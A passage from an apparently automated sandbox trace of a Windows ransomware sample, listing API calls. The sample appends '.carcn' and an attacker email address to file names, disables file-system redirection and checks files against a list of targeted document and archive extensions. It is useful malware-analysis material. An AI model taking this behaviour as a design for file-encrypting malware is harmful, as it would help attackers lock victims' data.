(Heap=0x640000, Flags=0x0, Ptr=0x6a0b78, Size=0x20) returned 0x680c18 [0251.405] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0251.405] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0251.405] Wow64DisableWow64FsRedirection (in: OldValue=0x34fff7c | out: OldValue=0x34fff7c*=0x0) returned 1 [0251.405] lstrlenW (lpString="kernel32.dll") returned 12 [0251.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680998 | out: hHeap=0x640000) returned 1 [0251.405] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0251.405] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680c18 | out: hHeap=0x640000) returned 1 [0251.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x6acd80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x32c [0251.406] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0251.750] GetTickCount () returned 0xf368 [0251.750] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0252.116] GetTickCount () returned 0xf4cf [0252.117] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0252.460] GetTickCount () returned 0xf627 [0252.460] GetTickCount () returned 0xf627 [0252.460] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0252.902] GetTickCount () returned 0xf7dd [0252.902] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0253.465] GetTickCount () returned 0xfa1f [0253.465] GetTickCount () returned 0xfa1f [0253.465] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0253.744] GetTickCount () returned 0xfb28 [0253.744] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0254.391] GetTickCount () returned 0xfdb9 [0254.391] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0254.810] GetTickCount () returned 0xff4f [0254.810] GetTickCount () returned 0xff4f [0254.810] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0255.361] GetTickCount () returned 0x10181 [0255.361] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0255.548] GetTickCount () returned 0x1023d [0255.548] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0255.795] GetTickCount () returned 0x10327 [0255.795] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0255.970] GetTickCount () returned 0x103e3 [0255.970] GetTickCount () returned 0x103e3 [0255.970] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0256.130] GetTickCount () returned 0x1047f [0256.130] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0256.235] GetTickCount () returned 0x104ec [0256.235] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0256.343] GetTickCount () returned 0x1055a [0256.343] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0256.457] GetTickCount () returned 0x105c7 [0256.457] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0256.572] GetTickCount () returned 0x10635 [0256.572] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0256.897] GetTickCount () returned 0x1078c [0256.897] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0257.285] GetTickCount () returned 0x10913 [0257.285] GetTickCount () returned 0x10913 [0257.285] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0257.854] GetTickCount () returned 0x10b45 [0257.854] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0258.056] GetTickCount () returned 0x10c11 [0258.056] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0258.339] GetTickCount () returned 0x10d2a [0258.339] GetTickCount () returned 0x10d2a [0258.340] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0258.609] GetTickCount () returned 0x10e33 [0258.609] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0260.067] GetTickCount () returned 0x113e1 [0260.067] GetTickCount () returned 0x113e1 [0260.067] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0260.448] GetTickCount () returned 0x11567 [0260.448] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0260.649] GetTickCount () returned 0x11632 [0260.649] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0261.589] GetTickCount () returned 0x119dc [0261.589] GetTickCount () returned 0x119dc [0261.589] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0261.864] GetTickCount () returned 0x11af5 [0261.865] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0262.146] GetTickCount () returned 0x11c0e [0262.146] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0262.531] GetTickCount () returned 0x11d85 [0262.531] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0262.892] GetTickCount () returned 0x11eed [0262.892] GetTickCount () returned 0x11eed [0262.892] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0263.438] GetTickCount () returned 0x12110 [0263.439] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0263.986] GetTickCount () returned 0x12332 [0263.986] GetTickCount () returned 0x12332 [0263.986] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0264.241] GetTickCount () returned 0x1243c [0264.241] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0264.363] GetTickCount () returned 0x124b9 [0264.364] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0264.483] GetTickCount () returned 0x12526 [0264.483] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0264.582] GetTickCount () returned 0x12594 [0264.582] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0264.692] GetTickCount () returned 0x12601 [0264.692] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0264.831] GetTickCount () returned 0x1268e [0264.831] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0265.248] GetTickCount () returned 0x12824 [0265.248] GetTickCount () returned 0x12824 [0265.248] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0265.422] GetTickCount () returned 0x128d0 [0265.422] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0266.061] GetTickCount () returned 0x12b51 [0266.061] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0266.574] GetTickCount () returned 0x12d54 [0266.574] GetTickCount () returned 0x12d54 [0266.574] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0267.077] GetTickCount () returned 0x12f48 [0267.077] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0267.268] GetTickCount () returned 0x13013 [0267.268] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0267.567] GetTickCount () returned 0x1313c [0267.567] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0268.019] GetTickCount () returned 0x13301 [0268.019] GetTickCount () returned 0x13301 [0268.019] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0268.425] GetTickCount () returned 0x13488 [0268.425] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0268.578] GetTickCount () returned 0x13524 [0268.578] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0268.832] GetTickCount () returned 0x1361e [0268.832] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0269.283] GetTickCount () returned 0x137e3 [0269.283] GetTickCount () returned 0x137e3 [0269.283] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0269.987] GetTickCount () returned 0x13aa2 [0269.987] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0270.226] GetTickCount () returned 0x13b8d [0270.226] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0270.462] GetTickCount () returned 0x13c77 [0270.463] GetTickCount () returned 0x13c77 [0270.463] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0270.644] GetTickCount () returned 0x13d33 [0270.644] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0271.000] GetTickCount () returned 0x13e9a [0271.000] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0271.565] GetTickCount () returned 0x140cd [0271.565] GetTickCount () returned 0x140cd [0271.565] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0272.200] GetTickCount () returned 0x1434d [0272.200] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0272.436] GetTickCount () returned 0x14438 [0272.437] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0272.580] GetTickCount () returned 0x144d4 [0272.581] GetTickCount () returned 0x144d4 [0272.581] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0273.118] GetTickCount () returned 0x146e7 [0273.118] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0273.328] GetTickCount () returned 0x147b2 [0273.328] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0273.574] GetTickCount () returned 0x148ac [0273.574] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0273.735] GetTickCount () returned 0x14948 [0273.735] GetTickCount () returned 0x14948 [0273.735] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0275.945] GetTickCount () returned 0x151f3 [0275.945] GetTickCount () returned 0x151f3 [0275.945] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0276.101] GetTickCount () returned 0x1528f [0276.101] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0276.376] GetTickCount () returned 0x15399 [0276.376] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0276.488] GetTickCount () returned 0x15416 [0276.488] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0276.594] GetTickCount () returned 0x15474 [0276.594] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0276.818] GetTickCount () returned 0x1555e [0276.818] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0277.553] GetTickCount () returned 0x1583d [0277.553] GetTickCount () returned 0x1583d [0277.553] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0278.101] GetTickCount () returned 0x15a50 [0278.101] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0278.709] GetTickCount () returned 0x15cc1 [0278.709] GetTickCount () returned 0x15cc1 [0278.709] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0279.115] GetTickCount () returned 0x15e57 [0279.115] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0279.548] GetTickCount () returned 0x15ffd [0279.548] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0280.338] GetTickCount () returned 0x1631a [0280.338] GetTickCount () returned 0x1631a [0280.338] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0280.705] GetTickCount () returned 0x16481 [0280.705] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0281.051] GetTickCount () returned 0x165e9 [0281.051] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0281.323] GetTickCount () returned 0x166f2 [0281.323] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0281.946] GetTickCount () returned 0x16963 [0281.946] GetTickCount () returned 0x16963 [0281.946] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0282.377] GetTickCount () returned 0x16b09 [0282.377] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0283.087] GetTickCount () returned 0x16dd8 [0283.087] GetTickCount () returned 0x16dd8 [0283.087] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0283.498] GetTickCount () returned 0x16f6e [0283.498] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0283.835] GetTickCount () returned 0x170c6 [0283.835] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0284.049] GetTickCount () returned 0x17191 [0284.049] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0284.284] GetTickCount () returned 0x1728b [0284.285] GetTickCount () returned 0x1728b [0284.285] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0284.612] GetTickCount () returned 0x173c3 [0284.612] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0284.785] GetTickCount () returned 0x1746f [0284.785] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0285.190] GetTickCount () returned 0x17606 [0285.190] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0285.371] GetTickCount () returned 0x176b1 [0285.371] GetTickCount () returned 0x176b1 [0285.371] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0285.702] GetTickCount () returned 0x177fa [0285.702] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0285.888] GetTickCount () returned 0x178b5 [0285.888] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0286.278] GetTickCount () returned 0x17a3c [0286.278] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0286.757] GetTickCount () returned 0x17c20 [0286.758] GetTickCount () returned 0x17c20 [0286.758] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0286.881] GetTickCount () returned 0x17cad [0286.881] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0287.084] GetTickCount () returned 0x17d78 [0287.084] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0287.513] GetTickCount () returned 0x17f1e [0287.513] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0287.942] GetTickCount () returned 0x180d3 [0287.942] GetTickCount () returned 0x180d3 [0287.942] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0288.399] GetTickCount () returned 0x18298 [0288.399] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0288.535] GetTickCount () returned 0x18325 [0288.535] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0289.190] GetTickCount () returned 0x185a6 [0289.190] GetTickCount () returned 0x185a6 [0289.205] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0289.343] GetTickCount () returned 0x18642 [0289.343] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0289.463] GetTickCount () returned 0x186bf [0289.463] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0289.690] GetTickCount () returned 0x1879a [0289.691] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0289.886] GetTickCount () returned 0x18865 [0289.887] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0290.047] GetTickCount () returned 0x18901 [0290.047] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0290.223] GetTickCount () returned 0x189bc [0290.223] GetTickCount () returned 0x189bc [0290.223] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x102 [0290.428] GetTickCount () returned 0x18a88 [0290.428] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x64) returned 0x0 [0290.428] WaitForMultipleObjects (nCount=0x4, lpHandles=0x34fff5c*=0x31c, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0294.831] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x5262020 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ce140 | out: hHeap=0x640000) returned 1 [0295.406] lstrlenW (lpString=".carcn") returned 6 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a1778 | out: hHeap=0x640000) returned 1 [0295.406] lstrlenW (lpString=".[carcinoma24@aol.com]") returned 22 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65f3d8 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ce180 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a14a8 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a15e0 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a1508 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a16a0 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a1520 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a1400 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ce0c0 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a16b8 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a14f0 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a1460 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ce030 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ce0d0 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a1538 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ce110 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a1628 | out: hHeap=0x640000) returned 1 [0295.406] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6ce0e0 | out: hHeap=0x640000) returned 1 [0295.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a1670 | out: hHeap=0x640000) returned 1 [0295.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680858 | out: hHeap=0x640000) returned 1 [0295.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680830 | out: hHeap=0x640000) returned 1 [0295.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65b050 | out: hHeap=0x640000) returned 1 [0295.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x65d090 | out: hHeap=0x640000) returned 1 [0295.407] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6acd80 | out: hHeap=0x640000) returned 1 [0295.408] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a56b8 | out: hHeap=0x640000) returned 1 [0295.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45e94e0 [0295.408] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45e94e0, Size=0x20) returned 0x699de8 [0295.408] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45e9660 [0295.408] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45e9660, Size=0x20) returned 0x699e60 [0295.408] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0295.409] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0295.409] Wow64DisableWow64FsRedirection (in: OldValue=0x34fff7c | out: OldValue=0x34fff7c*=0x1) returned 1 [0295.409] lstrlenW (lpString="kernel32.dll") returned 12 [0295.409] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699e60 | out: hHeap=0x640000) returned 1 [0295.409] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0295.409] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699de8 | out: hHeap=0x640000) returned 1 Thread: id = 52 os_tid = 0xd84 [0251.752] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x3796680 [0251.753] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x37a6688 [0251.754] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0c38 [0251.754] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x6) returned 0x6cdf10 [0251.754] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0c68 [0251.754] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x100000) returned 0x409f020 [0251.758] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0c80 [0251.758] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a0c80, Size=0x20) returned 0x680a38 [0251.758] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0c80 [0251.758] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a0c80, Size=0x20) returned 0x680c18 [0251.759] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0251.759] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0251.759] Wow64DisableWow64FsRedirection (in: OldValue=0x3a7ff50 | out: OldValue=0x3a7ff50*=0x0) returned 1 [0251.759] lstrlenW (lpString="kernel32.dll") returned 12 [0251.759] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680a38 | out: hHeap=0x640000) returned 1 [0251.759] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0251.759] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680c18 | out: hHeap=0x640000) returned 1 [0251.759] Sleep (dwMilliseconds=0x64) [0252.125] Sleep (dwMilliseconds=0x64) [0252.461] Sleep (dwMilliseconds=0x64) [0252.901] lstrcmpiW (lpString1=".sys", lpString2=".carcn") returned 1 [0252.901] lstrlenW (lpString="hiberfil.sys") returned 12 [0252.901] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.798] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0253.798] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0253.798] lstrlenW (lpString=".doc") returned 4 [0253.798] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0253.798] lstrlenW (lpString=".docx") returned 5 [0253.798] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0253.798] lstrlenW (lpString=".pdf") returned 4 [0253.798] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0253.798] lstrlenW (lpString=".xls") returned 4 [0253.798] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0253.798] lstrlenW (lpString=".xlsx") returned 5 [0253.798] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0253.798] lstrlenW (lpString=".ppt") returned 4 [0253.798] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0253.798] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0253.798] lstrlenW (lpString=".zip") returned 4 [0253.798] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0253.799] lstrlenW (lpString=".rar") returned 4 [0253.799] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0253.799] lstrlenW (lpString=".bz2") returned 4 [0253.799] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0253.799] lstrlenW (lpString=".7z") returned 3 [0253.799] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0253.799] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0253.799] lstrlenW (lpString=".dbf") returned 4 [0253.799] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0253.799] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0253.799] lstrlenW (lpString=".1cd") returned 4 [0253.799] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0253.799] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0253.799] lstrlenW (lpString=".jpg") returned 4 [0253.799] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0253.799] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0253.799] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0253.799] lstrlenW (lpString=".doc") returned 4 [0253.799] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0253.799] lstrlenW (lpString=".docx") returned 5 [0253.800] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0253.800] lstrlenW (lpString=".pdf") returned 4 [0253.800] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0253.800] lstrlenW (lpString=".xls") returned 4 [0253.800] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0253.800] lstrlenW (lpString=".xlsx") returned 5 [0253.800] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0253.800] lstrlenW (lpString=".ppt") returned 4 [0253.800] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0253.800] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0253.800] lstrlenW (lpString=".zip") returned 4 [0253.800] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0253.800] lstrlenW (lpString=".rar") returned 4 [0253.800] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0253.800] lstrlenW (lpString=".bz2") returned 4 [0253.800] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0253.800] lstrlenW (lpString=".7z") returned 3 [0253.800] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0253.800] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0253.800] lstrlenW (lpString=".dbf") returned 4 [0253.800] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0253.800] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0253.800] lstrlenW (lpString=".1cd") returned 4 [0253.800] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0253.800] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0253.800] lstrlenW (lpString=".jpg") returned 4 [0253.800] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0253.801] lstrcmpiW (lpString1=".sys", lpString2=".carcn") returned 1 [0253.801] lstrlenW (lpString="pagefile.sys") returned 12 [0253.801] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.801] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0253.801] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0253.801] lstrlenW (lpString=".doc") returned 4 [0253.801] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0253.801] lstrlenW (lpString=".docx") returned 5 [0253.801] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0253.801] lstrlenW (lpString=".pdf") returned 4 [0253.801] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0253.801] lstrlenW (lpString=".xls") returned 4 [0253.801] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0253.801] lstrlenW (lpString=".xlsx") returned 5 [0253.801] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0253.802] lstrlenW 